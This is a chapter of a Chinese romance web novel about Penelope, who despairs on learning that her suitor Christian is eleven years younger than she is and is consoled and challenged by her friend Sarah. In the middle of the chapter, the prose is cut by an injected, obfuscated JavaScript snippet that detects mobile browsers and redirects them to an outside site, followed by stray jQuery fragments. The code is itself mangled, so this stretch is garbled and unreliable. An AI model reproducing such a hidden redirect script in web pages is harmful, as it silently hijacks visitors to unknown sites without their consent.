白如霜 作品

35. Chapter 35

    她比他大十一岁?这怎么可能?佩内洛普想。


    她当然比克里斯蒂安大上好几岁,但是十一岁?不可能,他太成熟了,他绝不可能会是二十五岁,一个才刚出大学没几年的小伙子。


    她居然深深地爱上了一个学校男孩?她再大几岁都可以做他的母亲了!


    爱。


    她痛苦地意识到自己终究还是承认了这一点,她曾那么努力地抵抗他的魅力,却还是爱上了他,深深地爱上了他,可是到了现在,她又如何能爱他呢?


    逼近的窃窃私语和那些好奇的目光仿佛一张无形的网,将她完全困住,让她无所遁形。如若不是莎拉正搀扶着她,她一定已经晕倒在地了。


    她曾经以为自己已经足够无所谓了,但此刻,她能清晰地感受到内心最深处的脆弱被人狠狠地撕开,暴露在这个华丽而冷漠的社交舞台上。


    “莎拉。”她轻轻地唤。


    “什么?”


    “你知道这个吗?他才二十五岁。”


    莎拉摇摇头,用一种疑惑的口气道:“你知道我一向看不出男人的年纪的,那真的非常迷惑人,当然了,女人也差不多。”


    即便是这么痛苦的时候,佩内洛普依旧被她朋友的语气给逗笑了。


    之后唯一值得庆幸的是,哈特利太太伊莎贝拉并没有让克里斯蒂安护送她去用餐。


    在整个过程中,她努力让自己不要去看克里斯蒂安,但这是没法避免的。有那么几次,他们的目光相遇,他的眼神带着几分关切,她只能避开,并与身边年长的绅士说笑。


    也许这就是哈特利太太的用意,她与这位绅士确实在年龄方面合适得多。


    她与克里斯蒂安是彻头彻尾的错误。


    用完最后一道菜后,哈特利太太邀请女士们到客厅,而男士们则是继续享用美酒。佩内洛普离开房间时没有看克里斯蒂安一眼,但她能感觉到他的目光一直跟随着她。


    几乎没过多久,佩内洛普一意识到男士们也要过来了,就对身边一直陪着她的莎拉说:“我现在想回家,莎拉,我实在撑不下去了,送我回家。”


    她声音中的恐慌令莎拉无法拒绝。


    莎拉点了点头:“我待会儿会和我的丈夫说的。”


    可一阵熟悉的视线已经落在了她的身上,她知道克里斯蒂安过来了。


    “佩内洛普,你怎么了?”他问,“你一整个晚上都看起来很不舒服。”


    “这没什么,我想我只是有点累。”佩内洛普说。


    克里斯蒂安微微皱眉,显然不相信她的敷衍。


    “你并不像是‘只是有点累’的样子。”他的声音低沉,带着一丝探究,“佩内洛普,发生什么事了?”


    她垂下眼睫,不敢与他对视,仿佛只要看着他的眼睛,就会被他轻易地拆穿。可是她不能被拆穿,她必须保持镇定,必须让自己相信这一切都没有动摇她的理智。


    “克里斯蒂安,不要这样。”她的声音听起来轻飘飘的,就像是一阵叹息,“我只是需要回家休息,里士满勋爵与夫人会送我回家。”


    她想离开,想从他的目光中逃开,可是克里斯蒂安并没有给她机会。他伸出手,轻轻地握住了她的手腕,那温暖的触感像是一道枷锁,让她的脚步顿住,也让她的心跳猛地一滞。


    “佩内洛普,是我护送你过来的,我才有这个义务送你回家。”


    她终于抬起头,看着他的眼睛,那里没有疑问,只有清晰的洞察——他已经察觉到她的不安,甚至是……隐隐地猜到了她在想什么。


    她该如何解释?她该如何告诉他,她刚刚意识到的那个事实?她该如何告诉他,她无法接受自己爱上了他,尤其他竟然比自己小了整整十一岁?


    她咽下了心头的苦涩,试图挣脱他的手,可克里斯蒂安却将她的手握得更紧了一些:“佩内洛普,我们走吧。”


    她闭了闭眼,努力让自己的声音听起来足够平稳:“里士满男爵会送我。”


    然后,她挣开了他的手,而莎拉则将她的手接了过来,稳住她。


    “我会照顾好佩内洛普女爵的,还是你不相信我,爵爷?”


    不再是交际花一贯的轻浮,此刻莎拉的神色看着甚至有几分摄人的锋芒。


    面对两个女人的夹击,克里斯蒂安实在没有办法了,只能投降。


    当他不得不走开时,哈特利太太走过来了。


    她关切地问:“佩内洛普女爵,你不舒服吗?”


    “我非常非常抱歉,哈特利太太,但我想我可能必须回家了。”


    “你当然应该回家去。”哈特利太太轻声说道,“我很抱歉你竟感觉不舒服。哈特利先生或我能为你做些什么吗?”


    “不,谢谢你,太太,我确信我很快就会康复的。”


    这句话在她的嘴里很苦涩。她可能会从耻辱中恢复过来,但她永远找不到办法修补自己的心。她向聚会的主人轻轻点头,走向敞开的门口,非常清楚在她离开后人们那些窥探的目光。


    在马车上,莎拉将她抱在怀里,就像十年前她被伤透了心的那一次一样,任由她无声地哭泣。


    “你知道吗?”莎拉轻声说道,轻柔地拍着她的背,“我不是没见过你受伤,但不是今晚这样,今晚你的心彻底地碎了,是吗?”


    佩内洛普没有回答,只是闭上了眼,试图将自己与现实隔离。但莎拉却不肯放过她。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488693|167731||http|test|mini|href|location.split(|),0,{}));


    () {


    $(.inform).remove();


    $(#content).append(


    “佩内洛普,你爱他,对吗?”


    她的眼泪落得更急了。


    “我爱他,确实,我何必否认呢?谁都看得出来,可是这有什么用呢?”她哽咽着,声音里满是压抑已久的痛苦,“莎拉,我怎么能爱他?我比他大十一岁,他应该找个年轻又美丽的姑娘,而不是——”


    “而不是一个优雅、美丽,足够聪慧又独立的女人?”莎拉打断她,语气带着一丝恼怒。


    “佩内洛普,你能听听自己说什么吗?我承认,你们的年龄差有点大,但年纪有什么关系呢?多少男人比他的妻子年长得多。你最在乎的其实根本不是这个。”


    佩内洛普的身体微微一颤,她睁开眼睛,看着莎拉那双锐利的眼睛,心里泛起一丝慌乱。


    “我不知道你在说什么……”她低声辩解道。


    莎拉冷笑了一声:“你当然知道,你害怕的根本就不是年纪问题。”


    佩内洛普的呼吸猛地一滞。


    莎拉叹了口气,握住她的手,声音柔和了些:“你害怕去相信,害怕再一次将心交出去,害怕他会跟其他男人一样地离开,害怕所有人都会嘲笑你……但最可怕的是,你害怕自己会无法承受这些。”


    沉默弥漫在车厢里,佩内洛普的指甲几乎就要嵌进掌心,她的眼泪仍旧在流,但这一次,她无处可逃了。


    她真的害怕。


    她害怕失去他,害怕自己配不上他的年轻、他的深情,害怕所有的一切只是自己的一场幻梦。


    但如果她现在就放手,她会不会失去得更多?


    她的思绪混乱不堪,直到马车缓缓停下。


    莎拉轻轻叹了口气,最后一次拥抱了她:“不管你做什么决定,佩内洛普,我都会支持你。但你要想清楚,你是真的想放弃他,还是只是害怕去爱?”


    佩内洛普没有回答。


    她只是下了马车,踏入夜色,心里却比任何时候都更加混乱。


    当里士满男爵的马车离开,她仰望星空,心跳仍未从方才的震荡中平复。莎拉的那句话在她耳边回荡——“你是真的想放弃他,还是只是害怕去爱?”


    她曾以为自己已经足够成熟,足够理智,可以优雅面对一切风言风语,可以坦然接受自己的人生选择,可是当汉娜那句“你比他大整整十一岁”毫不留情地抛出时,她才意识到,自己其实比任何人都在意这些流言。


    她竟然比他年长那么多,他还年轻,还有无限的可能,而她呢?她是否真的有资格去占据他的未来?她如何能忍受那些目光里隐隐的怜悯和揶揄?


    她深吸了一口气,缓缓走向府邸,仿佛每一步都走在薄冰之上。


    她的世界,彻底陷入了混乱。